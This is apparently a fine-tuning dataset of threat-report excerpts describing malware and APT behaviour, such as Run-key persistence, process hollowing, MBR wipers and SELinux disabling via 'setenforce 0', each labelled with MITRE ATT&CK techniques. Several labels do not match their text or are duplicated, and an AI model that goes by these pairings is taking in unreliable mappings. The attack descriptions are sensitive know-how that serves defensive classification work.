"In some cases, the backdoor is packaged together with the CVE-2013-5065 EoP exploit and heavily obfuscated. This makes the analysis more difficult",['T1027 - Obfuscated Files or Information'],fine_tune
"In my opinion enumeration is not an attack technique that blue teamers should focus their defense efforts on. The best way to prevent unauthorized users from accessing this information is by having strict conditional access policies which govern how and from where users are allowed to use their Azure AD credentials. That being said, there is a setting in the deprecated MSOnline PowerShell module which prevents enumeration using the Azure AD graph, which is documented here. I haven’t personally looked into bypassing this or if other functionality in Azure breaks if you enable this",['T1078.004 - Valid Accounts: Cloud Accounts'],fine_tune
"The bot shows a number of similarities to Dyre but appears to have been rewritten. This assumption is made based on old Dyre code, which would primarily use built-in functions for doing things such as AES and SHA256 hashing. In the recent samples identifying themselves as TrickBot, the code appears to be based on that old code but rewritten to use things such as Microsoft CryptoAPI and COM",['T1571 - Non-Standard Port'],fine_tune
"Conficker will copy itself with a random name into the system directory %systemroot%\system32 and register itself as a service. The remote computer will then download the worm from the URL given and then start to infect other machines as well. Therefore, there is no centralized point of download. Upon successful infection, it will also patch the hole to prevent other worms to infect the machine"" (Racicot",['T1105 - Ingress Tool Transfer'],fine_tune
HyperStack sets the registry key HKLM\SYSTEM\CurrentControlSet\Control\LSA\Restrict Anonymous value to 0 so anonymous logon users (i.e. null session connections) can list all account names and enumerate all shared resources on a remote share. The implant can then use the WNetAddConnection2 API call to connect to another remote device's IPC$ share. IPC$ is a share that facilitates inter-process communication (IPC) by exposing named pipes to write to or read from,['T1087.001 - Account Discovery: Local Account'],fine_tune
"That executes the perl script, puts it to sleep for two seconds and deletes the file to remove any evidence",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Stop the service COMSysApp - Configure the service to autostart (to set up persistence on the system) - Modify registry keys to launch the DLL unser svchost.exe - Specify the malicious DLL path to be loaded into the svchost process. Immediately restart the service - Remove the batch files to reduce the fingerprint on the system,"['T1569.002 - System Services: Service Execution', 'T1055 - Process Injection', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1070.004 - Indicator Removal on Host: File Deletion', 'T1112 - Modify Registry']",fine_tune
The response to this request is hidden in the source code of following Flickr lookalike page,['T1001 - Data Obfuscation'],fine_tune
"Upon execution, the malware first decrypts its C2 IP address using a xor-incremental encryption and then creates a mutant, using its C2 IP address as the mutant’s name",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"The wiper module (SHA256: 391e7b90bf3f0bfeb2c2602cc65aa6be4dd1c01374b89c4a48425f2d22fe231c) that the dropper writes to the system is responsible for overwriting the data within the MBR, partitions, and files on the system. The wiper carries out this wiping using a legitimate hard disk driver called RawDisk by ElDos. The wiper contains the ElDos RawDisk driver in a resource named 'e' that it extracts by skipping to offset 1984 and reading 27792 bytes from that offset. It then decrypts the data using aa 247-byte key and saves it to ‘%WINDOWS%\system32\hdv_725x.sys’. The wiper then creates a service named ‘hdv_725x’ for this driver using the following command line command and runs it with ""sc start hdv_725x",['T1485 - Data Destruction'],fine_tune
"Their next move was to list any remote shared drives and then attempt to access remote shares owned by the specific government office they were targeting, again attempting to extract all Word documents",['T1135 - Network Share Discovery'],fine_tune
"While Diavol is not packed nor has any anti-disassembly tricks, it does use an interesting anti-analysis technique to obfuscate its code. Its main routines are kept in bitmap images, which are stored in the PE resource section. Before calling each routine, it copies the bytes from the bitmap to a global buffer that has execute permissions","['T1106 - Native API', 'T1027.003 - Steganography']",fine_tune
"Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. It uses RC4 encryption and custom Base64 encoding to obfuscate HTTP traffic. xxmm (also known as Minzen) — This RAT and likely successor to Daserf AES-encrypts HTTP communications using a one-time encryption key. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. CTU researchers identified an xxmm builder for xxmm (see Figure 2), which suggests that the threat actors customize the xxmm malware settings based on the target. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. After a few minutes, execute the malicious file on the system. Use malware to upload the large list of enumerated files to the C2 server. Use an uploader or other malware to send the archived files to an attacker-controlled server. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity",['T1080 - Taint Shared Content'],fine_tune
"When accessing the Pastebin URL, an encrypted blob is downloaded that requires a corresponding RSA private key from the configuration file. The configuration file analyzed did not contain the RSA private key and therefore we were unable to decrypt the contents of the Pastebin link. We assess the decrypted blob was likely a task for the Carbon instance",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"If the user clicks on the link, he will be prompted to download a RAR file that contains the stage 1 malware/lure, which he will execute afterwards","['T1204.002 - User Execution: Malicious File', 'T1105 - Ingress Tool Transfer']",fine_tune
"The newer versions of Valak download two payloads in the first stage. The first payload is Valak’s plugin management component (“pluginhost.exe”), and the second is the second stage JavaScript payload of Valak. In earlier versions, Valak did not include the “pluginhost” payload",['T1105 - Ingress Tool Transfer'],fine_tune
"As seen in Figure 2, the VBA code builds the email body and attaches the malicious document to the email. We’ve seen both .docx and .lnk files being used as attachments. These are very similar to the content of the malicious attachments used in Gamaredon’s initial spearphishing campaigns. Figure 3 shows an email generated by this malicious component",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"Unit 42 has discovered activity involving threat actors responsible for the OilRig campaign with a potential link to a threat group known as GreenBug. Symantec first reported on this group back in January 2017, detailing their operations and using a custom information stealing Trojan called ISMDoor","['T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell']",fine_tune
spwebmember was written in Microsoft .NET and includes hardcoded values for client project names for data extraction,['T1114.002 - Email Collection: Remote Email Collection'],fine_tune
"The infection process is rather interesting, as it involves multiple layers of .NET assemblies that will eventually download the NanoCore remote administration tool (RAT) from a remote server and inject it into another process. In some instances, we have also seen the RemcosRAT malware family delivered as the final payload. The infection process not only downloads and executes a payload, but it also downloads and opens a decoy document to lower the recipient's suspicions of the entire process",['T1055.002 - Process Injection: Portable Executable Injection'],fine_tune
LookBack malware is a remote access Trojan written in C++ that relies on a proxy communication tool to relay data from the infected host to a command and control IP,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"Network activity started with an HTTPS URL to namecha[.]in, which is an alternative namecoin block explorer. Namecoin is a cryptocurrency system that can be used for decentralized DNS. That proves to be the case here, since the URL returned an IP address used for subsequent post-infection traffic as shown in Figure 10",['T1568 - Dynamic Resolution'],fine_tune
"There are multiple ways for the operators to reach a Kobalos-infected machine. The method we’ve seen the most is where Kobalos is embedded in the OpenSSH server executable (sshd) and will trigger the backdoor code if the connection is coming from a specific TCP source port. These variants either connect to a C&amp;C server that will act as a middleman, or wait for an inbound connection on a given TCP port",['T1205 - Traffic Signaling'],fine_tune
"The backdoor component, POWRUNER, is a PowerShell script that sends and receives commands to and from the C2 server. POWRUNER is executed every minute by the Task Scheduler. Figure 5 contains an excerpt of the POWRUNER backdoor",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
The following network activity observed from msiexec.exe illustrates how the malware leveraged a signed and verified certification from Sectigo RSA Code Signing CA to propagate,['T1553.002 - Code Signing'],fine_tune
"Config.json"" is a mining config file for XMRig, an open-source Monero miner. The file sets the mining pool as xmr[.]pool[.]MinerGate[.]com:45700 and the actor's wallet as rocke@live.cn. This configuration file contains the same actor pool and wallet information as the first. Lowerv2.sh"" and ""rootv2.sh"" are similar shell scripts that attempt to download and execute the mining malware components ""bashf"" and ""bashg,"" hosted on 118[.]24[.]150[.]172. If the shell scripts do not download a miner from 118[.]24[.]150[.]172, they attempt to download a file called ""XbashY"" from 3g2upl4pq6kufc4m[.]tk. Based on the config file it uses, it appears to be the Monero Silent Miner. This miner can be purchased online for $14 and targets malicious actors. The sample grabs the config file ""xmr.txt,"" which contains the same configuration information as the previous files, from Rocke's command and control (C2) server hosted on sydwzl[.]cn. Intriguingly, this file appears to share some similarities with Cobalt Strike, the popular penetration testing software, which would allow the attacker to have greater control over the infected system. So, while we can asses with high confidence that the payloads share some code base, we are still unsure of the exact relationship between Rocke and Iron Cybercrime Group",['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
"The resulting executable acts as another loader for yet another embedded file. However, this loader uses the hostname of the current system to decrypt the embedded payload. Therefore, if it is run on any system other than the one intended, the malware will fail to execute. This trait illustrates that the malware is customized; it was created specifically for the exact victim system on which it was discovered",['T1480.001 - Environmental Keying'],fine_tune
"Hello, I got kinsing on my main development box (ubuntu 20 lamp stack). NO docker NO redis NO phpunit How it got in, is a mystery. All I can tell is it came in via apache (kinsing was running as www-data and main kinsing executable in /tmp was owned by www-data). I am using Laravel 7.2.0 not sure are there any loop in the laravel",['T1133 - External Remote Services'],fine_tune
"This module intercepts HWP documents on an infected computer. The HWP file format is similar to Microsoft Word documents, but supported by Hangul, a South Korean word processing application from the Hancom Office bundle. Hancom Office is widely used in South Korea. The account is hardcoded in the module along with the master’s e-mail to which it sends intercepted documents. It is interesting that the module does not search for all the HWP files on infected computer, but reacts only to those that are opened by the user and steals them. This behavior is very unusual for a document-stealing component and we do not see it in other malicious toolkits",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"RAR archiving – files are transferred to staging servers before exfiltration. Certutil – a command-line utility that can be exploited and used for various malicious purposes, such as to decode information, to download files, and to install browser root certificates. Adfind – a command-line tool that can be used to perform Active Directory queries. Csvde – can be used to extract Active Directory files and data. Ntdsutil – can be used as a credential-dumping tool. WMIExec – can be used for lateral movement and to execute commands remotely. It can be used to find information and execute code, and is frequently abused by malicious actors",['T1119 - Automated Collection'],fine_tune
LaZagne (SecurityRisk.LaZagne): A login/password retrieval tool - Mimikatz (Hacktool.Mimikatz): Tool designed to steal credentials - Gpppassword: Tool used to obtain and decrypt Group Policy Preferences (GPP) passwords - SniffPass (SniffPass): Tool designed to steal passwords by sniffing network traffic,['T1040 - Network Sniffing'],fine_tune
"As is evident here, the SSH server will accept connections on port number 6789. By running SSH on the server in a compromised network, attackers can come back to the network whenever they want",['T1571 - Non-Standard Port'],fine_tune
"Additionally, once infected, the malware cycles through a large list of command and control (C&amp;C) servers embedded within the malware. It appears while the list is extensive, not all of the C&amp;Cs are active and continue to beacon until a successful connection is established. Despite modifying a small part of itself while copying itself across the network as a means to evade detection, the operators have made no effort to change the C&amp;C communication protocol since its first inception","['T1049 - System Network Connections Discovery', 'T1008 - Fallback Channels']",fine_tune
"After exfiltrating the files, the threat actor used web shell access on the staging server to delete the staged RAR archives and detach their network shares, likely to avoid detection. Figure 5 shows the commands used to perform these activities on a RAR archive renamed with a *.jpg extension",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"The threat actor conducts mass-scanning and uses tools, such as Nmap, to identify open ports. Once the open ports are identified, the threat actor exploits CVEs related to VPN infrastructure to gain initial access to a targeted network. CISA and the FBI have observed the threat actor exploiting multiple CVEs, including CVE-2019-11510, CVE-2019-11539, CVE-2019-19781, and CVE-2020-5902",['T1046 - Network Service Discovery'],fine_tune
"This final payload is the ThreatNeedle loader running in memory. In addition, the malware saves the configuration data as a registry key encrypted in RC4",['T1112 - Modify Registry'],fine_tune
"Containers that are created during the attack are configured to bind /tmpXXXXXX directory to the root directory of the hosting server. This means every file on the server’s filesystem can be accessed and even modified, with the correct user permissions, from within the container",['T1611 - Escape to Host'],fine_tune
"Several files are created by Carbon to keep logs, tasks to execute and configuration that will modify the malware’s behavior. The contents of the majority of these files are encrypted with the CAST-128 algorithm [4",['T1027 - Obfuscated Files or Information'],fine_tune
"Upon ejection from the network, APT15 managed to regain access a couple of weeks later via the corporate VPN solution with a stolen VPN certificate, which they had extracted from a compromised host",['T1133 - External Remote Services'],fine_tune
"On a different system, operators dropped a legitimate copy of credwize.exe, the Microsoft Credential Backup and Restore Wizard, on disk and used it to execute the malicious library New.dll, another Turian variant",['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
"While the IronPython scripts are only the first part of the tool, the main task of loading malware is done by an embedded process injector. We dubbed this toolchain IronNetInjector, the blend of IronPython and the injector’s internal project name NetInjector. In this blog, we describe the IronPython scripts and how they’re used to load one or more payloads with the help of an injector","['T1059.006 - Command and Scripting Interpreter: Python', 'T1059.006 - Command and Scripting Interpreter: Python']",fine_tune
"IAT hooking and inline hooking are generally known as userland rootkits. IAT hooking is a technique that malware uses to change the import address table. In contrast, with inline hooking, malware modifies the API function itself. In Figure 11, the malware FinFisher, performs IAT hooking by modifying where the CreateWindowEx points",['T1056.004 - Input Capture: Credential API Hooking'],fine_tune
"Our dynamic analysis showed Lokibot’s behavior, including the benefits and drawbacks of several unpacking methods. Lokibot also used an infected system machine global unique identifier (GUID) value to generate a mutex (an MD5 hash) that acted as a flag to prevent itself from infecting the same machine again. The subject lines of the campaign messages usually started with or included the term “proforma. The malicious attachment was a DOCX, with a file name that also included “proforma” in its pattern. TLP: WHITE https://www.us-cert.gov/tlpCharacteristicsLokibot is an information stealer; the main functionality of its binary is to collect system and application credentials, and user information to send back to the attacker. We then conducted a static analysis to examine Lokibot’s techniques and targets. It starts from the tenth byte in the data section of the initial TCP POST request. We also noticed that the value of the sub key is the path to the file that Lokibot created after its initial execution. The binary’s hardcoded strings provided data about the binary’s characteristics, behavior, and main functionality.Section HeadersFrom the section headers and distribution of each section, the binary appears to be fairly normal. Figure 9Hollow Process; Manually Unpacking the First Stage BinaryWe tried to follow the binary with a debugger to determine where it unpacked itself in the memory, but Lokibot used a hollow process technique to obscure some of this activity",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
The payload decrypted at the previous step is a PowerShell reflective loader. It is based on the script Invoke-ReflectivePEInjection.ps1 from the same PowerSploit framework. The executable is hardcoded in the script and is loaded directly into the memory of a randomly chosen process that is already running on the system,['T1055 - Process Injection'],fine_tune
"Before proceeding to file encryption operations, the ransomware force stops (“kills”) processes listed by process name in a hard-coded list within the encoded strings of the malware. A full list with assessed process function or relationship is provided in Appendix A of this report. While some of the referenced processes appear to relate to security or management software (e.g. Qihoo 360 Safeguard and Microsoft System Center), the majority of the listed processes concern databases (e.g. IBM Tivoli), or ICS-related processes",['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
"The WannaCry malware consists of two distinct components, one that provides ransomware functionality and a component used for propagation, which contains functionality to enable SMB exploitation capabilities",['T1210 - Exploitation of Remote Services'],fine_tune
"One notable difference is that this particular stager included functionality that allowed the stager to communicate with the command and control (C2) via an encrypted RC4 byte stream. In this sample, the threat actors' C2 server was the domain msdn[.]cloud",['T1573.001 - Symmetric Cryptography'],fine_tune
"In order to exfiltrate data, the plugin uses the function “post” in the HTTPClient class. Post” gives the plugin the ability to upload content and exfiltrate data to the remote C2 whose domain is stored in the registry",['T1041 - Exfiltration Over C2 Channel'],fine_tune
"The main idea here is that if you create a LNK to an executable or command, then use the ShowGroup method, the program will be executed. This is an undocumented behavior in Microsoft Windows",['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],fine_tune
"Filter the target machines: setup.bat first checks if the hostname of the machine is one of the following: PIS-APP, PIS-MOB, WSUSPROXY or PIS-DB. If so, it stops the execution and deletes the folder containing the malicious script from this machine. Download the malicious files onto the machine: the same batch file downloads a cab archive named env.cab from a remote address in the internal network: \\railways.ir\sysvol\railways.ir\scripts\env.cab. The use of specific hostnames and internal paths indicates the attacker had prior knowledge of the environment. Unleash the main payload: The msrun.bat script is responsible for unleashing the Wiper. It moves wiper-related files to “C:\temp” and creates a scheduled task named mstask to execute the wiper only once at 23:55:00",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"Trickbot is installed as a scheduled task, using names like “WinDotNet,” “GoogleTask,” or “Sysnetsf” to masquerade as legitimate-appearing processes. These point to various copies of TrickBot installed in the system, usually within the user profile under %USER_DIR%\AppData\Roaming\ or a subdirectory. The subdirectories also use similarly misleading names like “WinDefrag” or “NetSocket” to appear innocuous. TrickBot may also be installed as a service with names like “ControlServiceA” that points to a copy in the system drive root","['T1543.003 - Create or Modify System Process: Windows Service', 'T1036.004 - Masquerading: Masquerade Task or Service']",fine_tune
1) Establish persistence via the Startup folder or theRun registry key (some variants). 2) Inject itself to another process such as rundll32.exe and dllhost.exe (some variants). 3) Decrypt two blobs: Import Table and the loader configuration,"['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1055.001 - Process Injection: Dynamic-link Library Injection']",fine_tune
"Aside from stealing credentials from applications, it also steals the following information from several popular web browsers such as Google Chrome, Mozilla Firefox, Internet Explorer, and Microsoft Edge",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
The adversary also used the commodity Cobalt Strike framework and Plink tunneling tool in many of these campaigns,['T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting'],fine_tune
"The Lizar server application, meanwhile, is written using the .NET framework and runs on a remote Linux host, researchers said. It supports encrypted communications with the bot client",['T1573 - Encrypted Channel'],fine_tune
The observed JSS Loader infection led to the download and execution of a setup VBScript from https[:]//petshopbook[.]com,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
"Once the registry value is created, the attackers simply wait for the occasional execution of dllhost.exe, which might happen naturally on a system. This execution triggers a process launch of wscript.exe configured to run the VBScript file dropped in step #4","['T1082 - System Information Discovery', 'T1546.012 - Event Triggered Execution: Image File Execution Options Injection']",fine_tune
It will then spawn a suspended instance of msiexec.exe in a new process. The malware proceeds to load code from the ‘aclmain.sdb’ file and performs process hollowing against this instance of msiexec.exe prior to resuming the process,['T1055.012 - Process Injection: Process Hollowing'],fine_tune
"Each of the Silent Librarian lures ends with a very realistic looking closing signature containing contact information for the target library. This information is collected through open source research conducted by the threat actors. In some cases, all of the contact information can be found together on one webpage; however, some of the information is in different locations, indicating the actors are likely performing manual reconnaissance to gather the information",['T1594 - Search Victim-Owned Websites'],fine_tune
"The primary objective of the HermeticWiper is to destroy the master boot record (MBR) of a system, shredding data and rendering the system unusable",['T1561.002 - Disk Structure Wipe'],fine_tune
"Hildegard searches for credential files on the host, as well as queries metadata for cloud-specific credentials",['T1552.005 - Unsecured Credentials: Cloud Instance Metadata API'],fine_tune
"FIN6 also moved laterally to servers in the environment using RDP and configured them as malware “distribution” servers. The distribution servers were used to stage the LockerGoga ransomware, additional utilities, and deployment scripts to automate installation of the ransomware. Mandiant identified a utility script named kill.bat that was run on systems in the environment. This script contained a series of anti-forensics and other commands intended to disable antivirus and destabilize the operating system. FIN6 automated the deployment of kill.bat and the LockerGoga ransomware using batch script files. FIN6 created a number of BAT files on the malware distribution servers with the naming convention xaa.bat, xab.bat, xac.bat, etc. These BAT files contained psexec commands to connect to remote systems and deploy kill.bat along with LockerGoga. FIN6 renamed the psexec service name to “mstdc” in order to masquerade as the legitimate Windows executable “msdtc",['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
"Based on our analysis, financial organizations in Turkey were targeted via spear phishing emails containing a malicious Microsoft Word document. The document contains an embedded Adobe Flash exploit, which was recently announced by the Korean Internet Security agency",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"Business info at outsidersecurity.nl . Introducing ROADtools - The Azure AD exploration framework . 15 minute read . Over the past 1.5 years I’ve been doing quite a lot of exploration into Azure AD and how it works under the hood. So I set myself a few goals: - Provide tooling for both Red teams and Blue teams to explore all Azure AD data in an accessible way. Use asynchronous HTTP calls in Python to dump all available information in the Azure AD graph to this database. Where to get the data . Since Azure AD is a cloud service, there isn’t a way to reverse engineer how it works, or a central repository where all the data is stored that you can access. While researching Azure and looking through the requests in the Azure Portal, at some point I noticed that the portal was calling a different version of the Azure AD Graph, the 1.61-internal version. This internal version of the Azure AD graph exposes much more data than any of the official API’s that are offered by Microsoft. To create the object structure, ROADrecon uses the OData metadata definition that the Azure AD graph exposes. ROADrecon will by default pretend to be the Azure AD PowerShell module and will thus inherit its permissions to access the internal version of the Azure AD graph. Gathering all the data . The second step is data gathering, which the roadrecon gather command does. That being said, there is a setting in the deprecated MSOnline PowerShell module which prevents enumeration using the Azure AD graph, which is documented here",['T1119 - Automated Collection'],fine_tune
"After the variables are set, the command line script copies QlpxpQpOpDpnpRpC.ini to the executable name that has been picked for this run and then attempts to kill any legitimate process using the specified name before launching it. The name for the .ini file is randomized per archive, but almost always turns out to be that of the VNC server itself",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"The launcher then configures several Registry values, including SecurityPasswordAES, that control how the remote access tool will work","['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1550.002 - Use Alternate Authentication Material: Pass the Hash']",fine_tune
"DEATHRANSOM is written in C while the other two families are written in C++. DEATHRANSOM uses a distinct series of do/while loops to enumerate through network resources, logical drives, and directories. It also uses QueueUserWorkItem to implement thread pooling for its file encryption threads",['T1083 - File and Directory Discovery'],fine_tune
"The ANCHOR backdoor has been seen across a subset of intrusions associated with this activity and can often be identified via the scheduled tasks it uses to maintain persistence through reboot. The scheduled tasks created by ANCHOR are often unnamed, although that is not always the case",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"Two PDF files (***_SPE_LEOS and ***_HPC_SE) with aerospace &amp; defense industry themed images, created via the Microsoft Print to PDF service, were submitted along with ***_ECS_EPM.docx. The naming convention of these PDF files was very similar to the malicious documents used. The name includes abbreviations for positions at the defense contractor much like the malicious documents. The Microsoft Print to PDF service enables content from a Microsoft Word document be printed to PDF directly. The PDFs were discovered in an archive file indicating that LinkedIn may have been a possible vector utilized by the adversaries to target victims. This is a similar vector as to what has been observed in a campaign reported by industry[7], however as mentioned earlier the research covered in this blog is part of a different activity set",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"The adversary used the built-in lateral movement possibilities in Cobalt Strike. Cobalt Strike has various methods for deploying its beacons at newly compromised systems. We have seen the adversary using SMB, named pipes, PsExec, and WinRM. They continue lateral movement and discovery in an attempt to identify the data of interest. This could be a webserver to carve data from memory, or a fileserver to copy IP, as we have both observed",['T1041 - Exfiltration Over C2 Channel'],fine_tune
"The SOMBRAT backdoor is packaged as a 64-bit Windows executable. It communicates with a configurable command and control (C2) server via multiple protocols, including DNS, TLS-encrypted TCP, and potentially WebSockets. Although the backdoor supports dozens of commands, most of them enable the operator to manipulate an encrypted storage file and reconfigure the implant. The backdoor's primary purpose is to download and execute plugins provided via the C2 server. In contrast to the SOMBRAT version published in November 2020, Mandiant observed additional obfuscation and armoring to evade detection, this SOMBRAT variant has been hardened to discourage analysis. Program metadata typically included by the compiler has been stripped and strings have been inlined and encoded via XOR-based routines",['T1027 - Obfuscated Files or Information'],fine_tune
"If the file /usr/sbin/setenforce exists, the malware executes the command, setenforce 0. This command configures the system’s Security-Enhanced Linux (SELinux) module, which provides support in the system's access control policies, into permissive mode — that is, setting the SELinux policy so that it is not enforced. If the system has the /etc/selinux/config file, it will write these commands into the file: SELINUX=disabled and SELINUXTYPE=targeted commands. The former disables the SELinux policy (or disallows one to be loaded), while the latter sets selected processes to run in confined domains",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"One of the tactics it uses to avoid drawing attention to itself is impersonating commonly used software packages such as Windows or Adobe Reader. It has never attempted to compromise the software itself. Rather, it gives its tools file names similar to those used by the software and places them in directory trees that could be mistaken for those used by the legitimate software",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"From a code perspective, little has changed between Ryuk binaries compiled in March and those compiled in September. The functionality has remained overall static since introducing features for targeting hosts on a local area network (LAN). The most notable change to Ryuk is the introduction of code obfuscation. The code obfuscations appear to be designed to slow down the reverse engineering process by using anti-disassembly and code transformation obfuscation techniques",['T1027 - Obfuscated Files or Information'],fine_tune
"Since 2020, Proofpoint researchers have observed TA416, an actor assessed to be aligned with the Chinese state, utilizing web bugs to profile their targets. Commonly referred to as tracking pixels, web bugs embed a hyperlinked non-visible object within the body of an email that, when enabled, will attempt to retrieve a benign image file from an actor-controlled server. This provides a “sign of life” to threat actors and indicates that the targeted account is valid with the user being inclined to open emails that utilize social engineering content. TA416 has been using web bugs to target victims prior to delivering malicious URLs that have installed a variety of PlugX malware payloads",['T1608 - Stage Capabilities'],fine_tune
Cybercriminals will often use LNK files attached in an email to launch an attack on unsuspecting victims. And we recently noticed another campaign using this technique,['T1204.002 - User Execution: Malicious File'],fine_tune
"After this information is obtained, the attacker can generate and send a specially crafted HTTP POST request to the Exchange server with an XML SOAP payload to the Exchange Web Services (EWS) API endpoint",['T1590 - Gather Victim Network Information'],fine_tune
A threat actor known as Silent Librarian/TA407/COBALT DICKENS has been actively targeting universities via spear phishing campaigns since schools and universities went back,['T1608.005 - Link Target'],fine_tune
"Once run, the wiper will damage the Master Boot Record (MBR) of the infected computer, rendering it inoperable",['T1561.002 - Disk Structure Wipe'],fine_tune
"Checking the DLLs related to iDefense SysAnalyzer, Microsoft Debugging DLL and Sandboxies - Calling IsDebuggerPresent and GetTickCount to identify a debugger - Checking VMWare related file",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
The Daum variants of Brave Prince gather information from the system and save it to the file PI_00.dat. This file is sent as an attachment to the attacker’s email address. Later variants upload the file to a web server via an HTTP post command. The type of data this implant gathers from the victim’s system,"['T1083 - File and Directory Discovery', 'T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol']",fine_tune
"CookieMiner issues a series of commands to configure the victim’s machine to mine cryptocurrency and maintain persistence (Figure 6). The program xmrig2 is a Mach-O executable for mining cryptocurrency. As seen in Figure 7, the address “k1GqvkK7QYEfMj3JPHieBo1m7FUkTowdq6H” has considerable mining performance. It has been ranked as a top miner in the Maruru mining pool (koto-pool.work).­­­ The cryptocurrency mined is called Koto, which is a Zcash-based anonymous cryptocurrency. The has addresses in Figure 8 use the “Yescrypt” algorithm which is good for CPU miners but not ideal for GPU miners. This is ideal for malware as the victim hosts are not guaranteed to have discrete GPUs installed in them but are guaranteed to have a CPU available. We believe the malware authors may have intentionally used this filename to create confusion since the miner is actually mining the Koto cryptocurrency",['T1543.001 - Create or Modify System Process: Launch Agent'],fine_tune
"For every hard-coded TCP port used to communicate with the C&amp;C servers, the malware creates a rule in Netfilter — the Linux kernel firewall — using the iptc_insert_entry() function from libiptc1 to allow output communication to it",['T1562.004 - Impair Defenses: Disable or Modify System Firewall'],fine_tune
"38, the credentials are retrieved from the logins.json file and the browser history is retrieved from the places.sqlite database",['T1217 - Browser Bookmark Discovery'],fine_tune
"The operators simply deploy their first-stage .php script in them, which will check the connection and get the actual C2 server domain name using an HTTP GET request",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"1) Copy itself to the %APPDATA%\Microsoft folder, add this file path in the registry ‘Run’ key under the value ‘BackUp Mgr’ and then execute the loader from the copied location. 2) If the loader cannot access the %APPDATA% location or if the loader is running from this location already, then it adds the current file path in the ‘Run’ registry key under the value ‘BackUp Mgr’ and executes the loader again from this location",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"As we mentioned, the adversary used a technique called template injection. A .docx file is a zip file containing multiple parts. Using the template injection technique, the adversary puts a link towards the template file in one of the .XML files, for example the link is in settings.xml.rels while the external oleobject load is in document.xml.rels. The link will load a template file (DOTM) from a remote server. Some of these template files are renamed as JPEG files when hosted on a remote server to avoid any suspicion and bypass detection. These template files contain Visual Basic macro code, that will load a DLL implant onto the victim’s system",['T1036 - Masquerading'],fine_tune
We suspect that the malware uses this extension to grab the victim’s cookies and use them from another device to ride the victim’s active session,['T1539 - Steal Web Session Cookie'],fine_tune
"Last but not least, the malware creates an id, in the same way as seen in previous Zebrocy binaries. It retrieves the UserName via the GetUserNameW Windows API and prepends the volume serial number of the C:\ drive",['T1082 - System Information Discovery'],fine_tune
"Should the victim use one of these portable browsers with a proxy server configured, the malware can find that in the user’s preferences and use that proxy to communicate with its C&amp;C servers",['T1090.002 - External Proxy'],fine_tune
"APT10 has targeted or compromised manufacturing companies in India, Japan and Northern Europe; a mining company in South America; and multiple IT service providers worldwide. Traditional and Novel Methods . This recent APT10 activity has included both traditional spear phishing and access to victim’s networks through service providers. In addition to the spear phishes, FireEye ISIGHT Intelligence has observed APT10 accessing victims through global service providers. Service providers have significant access to customer networks, enabling an attacker who had compromised a service provider to move laterally into the network of the service provider’s customer. In addition, web traffic between a service provider’s customer and a service provider is likely to be viewed as benign by network defenders at the customer, allowing the attacker to exfiltrate data stealthily. A notable instance of this observed by FireEye involved a SOGU backdoor that was set to communicate with its C2 through a server belonging to the victim’s service provider. The actor then tested connectivity to an IP managed by the victim’s service provider. Once connectivity to the service provider IP was verified, the actor established the service provider IP as a proxy for the victim’s SOGU backdoor. This effectively routes SOGU malware traffic through the victim’s service provider, which likely indicates a foothold on the service provider’s network. Their abuse of access to service provider networks demonstrates that peripheral organizations continue to be of interest to a malicious actor – especially those seeking alternative angles of attack",['T1199 - Trusted Relationship'],fine_tune
"Wiping all available methods of recovery shows this attacker had no intention of leaving the machine useable. Additionally, the destroyer disables all the services on the system: The malware uses the ChangeServiceConfigW API to change the start type to 4 which means: ""Disabled: Specifies that the service should not be started",['T1489 - Service Stop'],fine_tune
"In another update, the P8RAT sample from August 2020 looks for two process names (“VBoxService.exe” and “vmtoolsd.exe”) on the victim’s system, to detect VMware or VirtualBox environments at the beginning of its main malicious function",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
